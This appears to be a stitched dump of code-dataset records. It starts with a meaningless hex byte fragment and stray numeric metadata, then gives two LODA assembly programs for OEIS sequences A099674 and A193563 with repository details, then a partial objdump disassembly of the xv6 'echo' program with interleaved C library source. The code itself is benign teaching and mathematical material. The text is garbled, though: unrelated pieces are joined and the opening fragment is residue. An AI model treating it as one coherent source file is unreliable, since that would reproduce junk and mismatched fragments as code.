49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 ff 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 00 49 49 49 49 49 49 49 49 */
41.578512
2,801
0.661697
e0494adac122a75cb3ad7fcdc5f27bd1fa78b165
336
asm
Assembly
programs/oeis/099/A099674.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/099/A099674.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/099/A099674.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A099674: Partial sums of repdigits of A002281. ; 7,84,861,8638,86415,864192,8641969,86419746,864197523,8641975300,86419753077,864197530854,8641975308631,86419753086408,864197530864185,8641975308641962,86419753086419739,864197530864197516 add $0,1 lpb $0 sub $0,1 add $2,6 mul $2,10 add $1,$2 lpe div $1,60 mul $1,7 mov $0,$1
24
190
0.767857
4c85a23f321b732c40feaca0a13fa0b8ae8d6d42
357
asm
Assembly
programs/oeis/193/A193563.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/193/A193563.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/193/A193563.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A193563: a(0) = 0, a(n) = n^2 * (a(n-1) + 1). ; 0,1,8,81,1312,32825,1181736,57905113,3705927296,300180111057,30018011105800,3632179343801921,523033825507476768,88392716510763573961,17324972436109660496552,3898118798124673611724425,997918412319916444601453056 add $0,1 mov $2,1 lpb $0 sub $0,1 add $1,$2 mul $2,$0 mul $2,$0 lpe sub $1,1 mov $0,$1
25.5
212
0.72549
17c98efcc74708e2ef0052fbb65ad331dee1abba
40,859
asm
Assembly
xv6-o/echo.asm
xsuler/osPlayground
da1b828540b178fd9dc154539616af7f3431da45
[ "MIT" ]
null
null
null
xv6-o/echo.asm
xsuler/osPlayground
da1b828540b178fd9dc154539616af7f3431da45
[ "MIT" ]
null
null
null
xv6-o/echo.asm
xsuler/osPlayground
da1b828540b178fd9dc154539616af7f3431da45
[ "MIT" ]
null
null
null
_echo: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 56 push %esi e: 53 push %ebx f: 51 push %ecx 10: 83 ec 0c sub $0xc,%esp 13: 8b 01 mov (%ecx),%eax 15: 8b 51 04 mov 0x4(%ecx),%edx int i; for(i = 1; i < argc; i++) 18: 83 f8 01 cmp $0x1,%eax 1b: 7e 47 jle 64 <main+0x64> 1d: 8d 5a 04 lea 0x4(%edx),%ebx 20: 8d 34 82 lea (%edx,%eax,4),%esi printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n"); 23: 83 c3 04 add $0x4,%ebx 26: 8b 43 fc mov -0x4(%ebx),%eax 29: 39 f3 cmp %esi,%ebx 2b: 74 22 je 4f <main+0x4f> 2d: 8d 76 00 lea 0x0(%esi),%esi 30: 68 98 07 00 00 push $0x798 35: 83 c3 04 add $0x4,%ebx 38: 50 push %eax 39: 68 9a 07 00 00 push $0x79a 3e: 6a 01 push $0x1 40: e8 eb 03 00 00 call 430 <printf> 45: 83 c4 10 add $0x10,%esp 48: 8b 43 fc mov -0x4(%ebx),%eax 4b: 39 f3 cmp %esi,%ebx 4d: 75 e1 jne 30 <main+0x30> 4f: 68 9f 07 00 00 push $0x79f 54: 50 push %eax 55: 68 9a 07 00 00 push $0x79a 5a: 6a 01 push $0x1 5c: e8 cf 03 00 00 call 430 <printf> 61: 83 c4 10 add $0x10,%esp exit(); 64: e8 58 02 00 00 call 2c1 <exit> 69: 66 90 xchg %ax,%ax 6b: 66 90 xchg %ax,%ax 6d: 66 90 xchg %ax,%ax 6f: 90 nop 00000070 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 70: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 71: 31 d2 xor %edx,%edx { 73: 89 e5 mov %esp,%ebp 75: 53 push %ebx 76: 8b 45 08 mov 0x8(%ebp),%eax 79: 8b 5d 0c mov 0xc(%ebp),%ebx 7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while((*s++ = *t++) != 0) 80: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 84: 88 0c 10 mov %cl,(%eax,%edx,1) 87: 83 c2 01 add $0x1,%edx 8a: 84 c9 test %cl,%cl 8c: 75 f2 jne 80 <strcpy+0x10> ; return os; } 8e: 5b pop %ebx 8f: 5d pop %ebp 90: c3 ret 91: eb 0d jmp a0 <strcmp> 93: 90 nop 94: 90 nop 95: 90 nop 96: 90 nop 97: 90 nop 98: 90 nop 99: 90 nop 9a: 90 nop 9b: 90 nop 9c: 90 nop 9d: 90 nop 9e: 90 nop 9f: 90 nop 000000a0 <strcmp>: int strcmp(const char *p, const char *q) { a0: 55 push %ebp a1: 89 e5 mov %esp,%ebp a3: 56 push %esi a4: 53 push %ebx a5: 8b 5d 08 mov 0x8(%ebp),%ebx a8: 8b 75 0c mov 0xc(%ebp),%esi while(*p && *p == *q) ab: 0f b6 13 movzbl (%ebx),%edx ae: 0f b6 0e movzbl (%esi),%ecx b1: 84 d2 test %dl,%dl b3: 74 1e je d3 <strcmp+0x33> b5: b8 01 00 00 00 mov $0x1,%eax ba: 38 ca cmp %cl,%dl bc: 74 09 je c7 <strcmp+0x27> be: eb 20 jmp e0 <strcmp+0x40> c0: 83 c0 01 add $0x1,%eax c3: 38 ca cmp %cl,%dl c5: 75 19 jne e0 <strcmp+0x40> c7: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx cb: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx cf: 84 d2 test %dl,%dl d1: 75 ed jne c0 <strcmp+0x20> d3: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; } d5: 5b pop %ebx d6: 5e pop %esi return (uchar)*p - (uchar)*q; d7: 29 c8 sub %ecx,%eax } d9: 5d pop %ebp da: c3 ret db: 90 nop dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi e0: 0f b6 c2 movzbl %dl,%eax e3: 5b pop %ebx e4: 5e pop %esi return (uchar)*p - (uchar)*q; e5: 29 c8 sub %ecx,%eax } e7: 5d pop %ebp e8: c3 ret e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000000f0 <strlen>: uint strlen(char *s) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) f6: 80 39 00 cmpb $0x0,(%ecx) f9: 74 15 je 110 <strlen+0x20> fb: 31 d2 xor %edx,%edx fd: 8d 76 00 lea 0x0(%esi),%esi 100: 83 c2 01 add $0x1,%edx 103: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 107: 89 d0 mov %edx,%eax 109: 75 f5 jne 100 <strlen+0x10> ; return n; } 10b: 5d pop %ebp 10c: c3 ret 10d: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 110: 31 c0 xor %eax,%eax } 112: 5d pop %ebp 113: c3 ret 114: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 11a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000120 <memset>: void* memset(void *dst, int c, uint n) { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 57 push %edi 124: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 127: 8b 4d 10 mov 0x10(%ebp),%ecx 12a: 8b 45 0c mov 0xc(%ebp),%eax 12d: 89 d7 mov %edx,%edi 12f: fc cld 130: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 132: 89 d0 mov %edx,%eax 134: 5f pop %edi 135: 5d pop %ebp 136: c3 ret 137: 89 f6 mov %esi,%esi 139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000140 <strchr>: char* strchr(const char *s, char c) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 53 push %ebx 144: 8b 45 08 mov 0x8(%ebp),%eax 147: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 14a: 0f b6 18 movzbl (%eax),%ebx 14d: 84 db test %bl,%bl 14f: 74 1d je 16e <strchr+0x2e> 151: 89 d1 mov %edx,%ecx if(*s == c) 153: 38 d3 cmp %dl,%bl 155: 75 0d jne 164 <strchr+0x24> 157: eb 17 jmp 170 <strchr+0x30> 159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 160: 38 ca cmp %cl,%dl 162: 74 0c je 170 <strchr+0x30> for(; *s; s++) 164: 83 c0 01 add $0x1,%eax 167: 0f b6 10 movzbl (%eax),%edx 16a: 84 d2 test %dl,%dl 16c: 75 f2 jne 160 <strchr+0x20> return (char*)s; return 0; 16e: 31 c0 xor %eax,%eax } 170: 5b pop %ebx 171: 5d pop %ebp 172: c3 ret 173: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000180 <gets>: char* gets(char *buf, int max) { 180: 55 push %ebp 181: 89 e5 mov %esp,%ebp 183: 57 push %edi 184: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 185: 31 f6 xor %esi,%esi { 187: 53 push %ebx 188: 89 f3 mov %esi,%ebx 18a: 83 ec 1c sub $0x1c,%esp 18d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 190: eb 2f jmp 1c1 <gets+0x41> 192: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 198: 83 ec 04 sub $0x4,%esp 19b: 8d 45 e7 lea -0x19(%ebp),%eax 19e: 6a 01 push $0x1 1a0: 50 push %eax 1a1: 6a 00 push $0x0 1a3: e8 31 01 00 00 call 2d9 <read> if(cc < 1) 1a8: 83 c4 10 add $0x10,%esp 1ab: 85 c0 test %eax,%eax 1ad: 7e 1c jle 1cb <gets+0x4b> break; buf[i++] = c; 1af: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 1b3: 83 c7 01 add $0x1,%edi 1b6: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 1b9: 3c 0a cmp $0xa,%al 1bb: 74 23 je 1e0 <gets+0x60> 1bd: 3c 0d cmp $0xd,%al 1bf: 74 1f je 1e0 <gets+0x60> for(i=0; i+1 < max; ){ 1c1: 83 c3 01 add $0x1,%ebx 1c4: 89 fe mov %edi,%esi 1c6: 3b 5d 0c cmp 0xc(%ebp),%ebx 1c9: 7c cd jl 198 <gets+0x18> 1cb: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 1cd: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 1d0: c6 03 00 movb $0x0,(%ebx) } 1d3: 8d 65 f4 lea -0xc(%ebp),%esp 1d6: 5b pop %ebx 1d7: 5e pop %esi 1d8: 5f pop %edi 1d9: 5d pop %ebp 1da: c3 ret 1db: 90 nop 1dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1e0: 8b 75 08 mov 0x8(%ebp),%esi 1e3: 8b 45 08 mov 0x8(%ebp),%eax 1e6: 01 de add %ebx,%esi 1e8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 1ea: c6 03 00 movb $0x0,(%ebx) } 1ed: 8d 65 f4 lea -0xc(%ebp),%esp 1f0: 5b pop %ebx 1f1: 5e pop %esi 1f2: 5f pop %edi 1f3: 5d pop %ebp 1f4: c3 ret 1f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000200 <stat>: int stat(char *n, struct stat *st) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 56 push %esi 204: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 205: 83 ec 08 sub $0x8,%esp 208: 6a 00 push $0x0 20a: ff 75 08 pushl 0x8(%ebp) 20d: e8 ef 00 00 00 call 301 <open> if(fd < 0) 212: 83 c4 10 add $0x10,%esp 215: 85 c0 test %eax,%eax 217: 78 27 js 240 <stat+0x40> return -1; r = fstat(fd, st); 219: 83 ec 08 sub $0x8,%esp 21c: ff 75 0c pushl 0xc(%ebp) 21f: 89 c3 mov %eax,%ebx 221: 50 push %eax 222: e8 f2 00 00 00 call 319 <fstat> close(fd); 227: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 22a: 89 c6 mov %eax,%esi close(fd); 22c: e8 b8 00 00 00 call 2e9 <close> return r; 231: 83 c4 10 add $0x10,%esp } 234: 8d 65 f8 lea -0x8(%ebp),%esp 237: 89 f0 mov %esi,%eax 239: 5b pop %ebx 23a: 5e pop %esi 23b: 5d pop %ebp 23c: c3 ret 23d: 8d 76 00 lea 0x0(%esi),%esi return -1; 240: be ff ff ff ff mov $0xffffffff,%esi 245: eb ed jmp 234 <stat+0x34> 247: 89 f6 mov %esi,%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <atoi>: int atoi(const char *s) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 53 push %ebx 254: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 257: 0f be 11 movsbl (%ecx),%edx 25a: 8d 42 d0 lea -0x30(%edx),%eax 25d: 3c 09 cmp $0x9,%al n = 0; 25f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 264: 77 1f ja 285 <atoi+0x35> 266: 8d 76 00 lea 0x0(%esi),%esi 269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 270: 83 c1 01 add $0x1,%ecx 273: 8d 04 80 lea (%eax,%eax,4),%eax 276: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 27a: 0f be 11 movsbl (%ecx),%edx 27d: 8d 5a d0 lea -0x30(%edx),%ebx 280: 80 fb 09 cmp $0x9,%bl 283: 76 eb jbe 270 <atoi+0x20> return n; } 285: 5b pop %ebx 286: 5d pop %ebp 287: c3 ret 288: 90 nop 289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000290 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 290: 55 push %ebp 291: 89 e5 mov %esp,%ebp 293: 57 push %edi 294: 8b 55 10 mov 0x10(%ebp),%edx 297: 8b 45 08 mov 0x8(%ebp),%eax 29a: 56 push %esi 29b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 29e: 85 d2 test %edx,%edx 2a0: 7e 13 jle 2b5 <memmove+0x25> 2a2: 01 c2 add %eax,%edx dst = vdst; 2a4: 89 c7 mov %eax,%edi 2a6: 8d 76 00 lea 0x0(%esi),%esi 2a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi *dst++ = *src++; 2b0: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 2b1: 39 fa cmp %edi,%edx 2b3: 75 fb jne 2b0 <memmove+0x20> return vdst; } 2b5: 5e pop %esi 2b6: 5f pop %edi 2b7: 5d pop %ebp 2b8: c3 ret 000002b9 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2b9: b8 01 00 00 00 mov $0x1,%eax 2be: cd 40 int $0x40 2c0: c3 ret 000002c1 <exit>: SYSCALL(exit) 2c1: b8 02 00 00 00 mov $0x2,%eax 2c6: cd 40 int $0x40 2c8: c3 ret 000002c9 <wait>: SYSCALL(wait) 2c9: b8 03 00 00 00 mov $0x3,%eax 2ce: cd 40 int $0x40 2d0: c3 ret 000002d1 <pipe>: SYSCALL(pipe) 2d1: b8 04 00 00 00 mov $0x4,%eax 2d6: cd 40 int $0x40 2d8: c3 ret 000002d9 <read>: SYSCALL(read) 2d9: b8 05 00 00 00 mov $0x5,%eax 2de: cd 40 int $0x40 2e0: c3 ret 000002e1 <write>: SYSCALL(write) 2e1: b8 10 00 00 00 mov $0x10,%eax 2e6: cd 40 int $0x40 2e8: c3 ret 000002e9 <close>: SYSCALL(close) 2e9: b8 15 00 00 00 mov $0x15,%eax 2ee: cd 40 int $0x40 2f0: c3 ret 000002f1 <kill>: SYSCALL(kill) 2f1: b8 06 00 00 00 mov $0x6,%eax 2f6: cd 40 int $0x40 2f8: c3 ret 000002f9 <exec>: SYSCALL(exec) 2f9: b8 07 00 00 00 mov $0x7,%eax 2fe: cd 40 int $0x40 300: c3 ret 00000301 <open>: SYSCALL(open) 301: b8 0f 00 00 00 mov $0xf,%eax 306: cd 40 int $0x40 308: c3 ret 00000309 <mknod>: SYSCALL(mknod) 309: b8 11 00 00 00 mov $0x11,%eax 30e: cd 40 int $0x40 310: c3 ret 00000311 <unlink>: SYSCALL(unlink) 311: b8 12 00 00 00 mov $0x12,%eax 316: cd 40 int $0x40 318: c3 ret 00000319 <fstat>: SYSCALL(fstat) 319: b8 08 00 00 00 mov $0x8,%eax 31e: cd 40 int $0x40 320: c3 ret 00000321 <link>: SYSCALL(link) 321: b8 13 00 00 00 mov $0x13,%eax 326: cd 40 int $0x40 328: c3 ret 00000329 <mkdir>: SYSCALL(mkdir) 329: b8 14 00 00 00 mov $0x14,%eax 32e: cd 40 int $0x40 330: c3 ret 00000331 <chdir>: SYSCALL(chdir) 331: b8 09 00 00 00 mov $0x9,%eax 336: cd 40 int $0x40 338: c3 ret 00000339 <dup>: SYSCALL(dup) 339: b8 0a 00 00 00 mov $0xa,%eax 33e: cd 40 int $0x40 340: c3 ret 00000341 <getpid>: SYSCALL(getpid) 341: b8 0b 00 00 00 mov $0xb,%eax 346: cd 40 int $0x40 348: c3 ret 00000349 <sbrk>: SYSCALL(sbrk) 349: b8 0c 00 00 00 mov $0xc,%eax 34e: cd 40 int $0x40 350: c3 ret 00000351 <sleep>: SYSCALL(sleep) 351: b8 0d 00 00 00 mov $0xd,%eax 356: cd 40 int $0x40 358: c3 ret 00000359 <uptime>: SYSCALL(uptime) 359: b8 0e 00 00 00 mov $0xe,%eax 35e: cd 40 int $0x40 360: c3 ret 361: 66 90 xchg %ax,%ax 363: 66 90 xchg %ax,%ax 365: 66 90 xchg %ax,%ax 367: 66 90 xchg %ax,%ax 369: 66 90 xchg %ax,%ax 36b: 66 90 xchg %ax,%ax 36d: 66 90 xchg %ax,%ax 36f: 90 nop 00000370 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 57 push %edi 374: 56 push %esi 375: 53 push %ebx uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 376: 89 d3 mov %edx,%ebx { 378: 83 ec 3c sub $0x3c,%esp 37b: 89 45 bc mov %eax,-0x44(%ebp) if(sgn && xx < 0){ 37e: 85 d2 test %edx,%edx 380: 0f 89 92 00 00 00 jns 418 <printint+0xa8> 386: f6 45 08 01 testb $0x1,0x8(%ebp) 38a: 0f 84 88 00 00 00 je 418 <printint+0xa8> neg = 1; 390: c7 45 c0 01 00 00 00 movl $0x1,-0x40(%ebp) x = -xx; 397: f7 db neg %ebx } else { x = xx; } i = 0; 399: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3a0: 8d 75 d7 lea -0x29(%ebp),%esi 3a3: eb 08 jmp 3ad <printint+0x3d> 3a5: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 3a8: 89 7d c4 mov %edi,-0x3c(%ebp) }while((x /= base) != 0); 3ab: 89 c3 mov %eax,%ebx buf[i++] = digits[x % base]; 3ad: 89 d8 mov %ebx,%eax 3af: 31 d2 xor %edx,%edx 3b1: 8b 7d c4 mov -0x3c(%ebp),%edi 3b4: f7 f1 div %ecx 3b6: 83 c7 01 add $0x1,%edi 3b9: 0f b6 92 a8 07 00 00 movzbl 0x7a8(%edx),%edx 3c0: 88 14 3e mov %dl,(%esi,%edi,1) }while((x /= base) != 0); 3c3: 39 d9 cmp %ebx,%ecx 3c5: 76 e1 jbe 3a8 <printint+0x38> if(neg) 3c7: 8b 45 c0 mov -0x40(%ebp),%eax 3ca: 85 c0 test %eax,%eax 3cc: 74 0d je 3db <printint+0x6b> buf[i++] = '-'; 3ce: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 3d3: ba 2d 00 00 00 mov $0x2d,%edx buf[i++] = digits[x % base]; 3d8: 89 7d c4 mov %edi,-0x3c(%ebp) 3db: 8b 45 c4 mov -0x3c(%ebp),%eax 3de: 8b 7d bc mov -0x44(%ebp),%edi 3e1: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 3e5: eb 0f jmp 3f6 <printint+0x86> 3e7: 89 f6 mov %esi,%esi 3e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 3f0: 0f b6 13 movzbl (%ebx),%edx 3f3: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 3f6: 83 ec 04 sub $0x4,%esp 3f9: 88 55 d7 mov %dl,-0x29(%ebp) 3fc: 6a 01 push $0x1 3fe: 56 push %esi 3ff: 57 push %edi 400: e8 dc fe ff ff call 2e1 <write> while(--i >= 0) 405: 83 c4 10 add $0x10,%esp 408: 39 de cmp %ebx,%esi 40a: 75 e4 jne 3f0 <printint+0x80> putc(fd, buf[i]); } 40c: 8d 65 f4 lea -0xc(%ebp),%esp 40f: 5b pop %ebx 410: 5e pop %esi 411: 5f pop %edi 412: 5d pop %ebp 413: c3 ret 414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 418: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp) 41f: e9 75 ff ff ff jmp 399 <printint+0x29> 424: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 42a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000430 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 430: 55 push %ebp 431: 89 e5 mov %esp,%ebp 433: 57 push %edi 434: 56 push %esi 435: 53 push %ebx 436: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 439: 8b 75 0c mov 0xc(%ebp),%esi 43c: 0f b6 1e movzbl (%esi),%ebx 43f: 84 db test %bl,%bl 441: 0f 84 b9 00 00 00 je 500 <printf+0xd0> ap = (uint*)(void*)&fmt + 1; 447: 8d 45 10 lea 0x10(%ebp),%eax 44a: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 44d: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 450: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 452: 89 45 d0 mov %eax,-0x30(%ebp) 455: eb 38 jmp 48f <printf+0x5f> 457: 89 f6 mov %esi,%esi 459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 460: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 463: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 468: 83 f8 25 cmp $0x25,%eax 46b: 74 17 je 484 <printf+0x54> write(fd, &c, 1); 46d: 83 ec 04 sub $0x4,%esp 470: 88 5d e7 mov %bl,-0x19(%ebp) 473: 6a 01 push $0x1 475: 57 push %edi 476: ff 75 08 pushl 0x8(%ebp) 479: e8 63 fe ff ff call 2e1 <write> 47e: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 481: 83 c4 10 add $0x10,%esp 484: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 487: 0f b6 5e ff movzbl -0x1(%esi),%ebx 48b: 84 db test %bl,%bl 48d: 74 71 je 500 <printf+0xd0> c = fmt[i] & 0xff; 48f: 0f be cb movsbl %bl,%ecx 492: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 495: 85 d2 test %edx,%edx 497: 74 c7 je 460 <printf+0x30> } } else if(state == '%'){ 499: 83 fa 25 cmp $0x25,%edx 49c: 75 e6 jne 484 <printf+0x54> if(c == 'd'){ 49e: 83 f8 64 cmp $0x64,%eax 4a1: 0f 84 99 00 00 00 je 540 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 4a7: 81 e1 f7 00 00 00 and $0xf7,%ecx 4ad: 83 f9 70 cmp $0x70,%ecx 4b0: 74 5e je 510 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 4b2: 83 f8 73 cmp $0x73,%eax 4b5: 0f 84 d5 00 00 00 je 590 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 4bb: 83 f8 63 cmp $0x63,%eax 4be: 0f 84 8c 00 00 00 je 550 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 4c4: 83 f8 25 cmp $0x25,%eax 4c7: 0f 84 b3 00 00 00 je 580 <printf+0x150> write(fd, &c, 1); 4cd: 83 ec 04 sub $0x4,%esp 4d0: c6 45 e7 25 movb $0x25,-0x19(%ebp) 4d4: 6a 01 push $0x1 4d6: 57 push %edi 4d7: ff 75 08 pushl 0x8(%ebp) 4da: e8 02 fe ff ff call 2e1 <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4df: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 4e2: 83 c4 0c add $0xc,%esp 4e5: 6a 01 push $0x1 4e7: 83 c6 01 add $0x1,%esi 4ea: 57 push %edi 4eb: ff 75 08 pushl 0x8(%ebp) 4ee: e8 ee fd ff ff call 2e1 <write> for(i = 0; fmt[i]; i++){ 4f3: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 4f7: 83 c4 10 add $0x10,%esp } state = 0; 4fa: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 4fc: 84 db test %bl,%bl 4fe: 75 8f jne 48f <printf+0x5f> } } } 500: 8d 65 f4 lea -0xc(%ebp),%esp 503: 5b pop %ebx 504: 5e pop %esi 505: 5f pop %edi 506: 5d pop %ebp 507: c3 ret 508: 90 nop 509: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 16, 0); 510: 83 ec 0c sub $0xc,%esp 513: b9 10 00 00 00 mov $0x10,%ecx 518: 6a 00 push $0x0 51a: 8b 5d d0 mov -0x30(%ebp),%ebx 51d: 8b 45 08 mov 0x8(%ebp),%eax 520: 8b 13 mov (%ebx),%edx 522: e8 49 fe ff ff call 370 <printint> ap++; 527: 89 d8 mov %ebx,%eax 529: 83 c4 10 add $0x10,%esp state = 0; 52c: 31 d2 xor %edx,%edx ap++; 52e: 83 c0 04 add $0x4,%eax 531: 89 45 d0 mov %eax,-0x30(%ebp) 534: e9 4b ff ff ff jmp 484 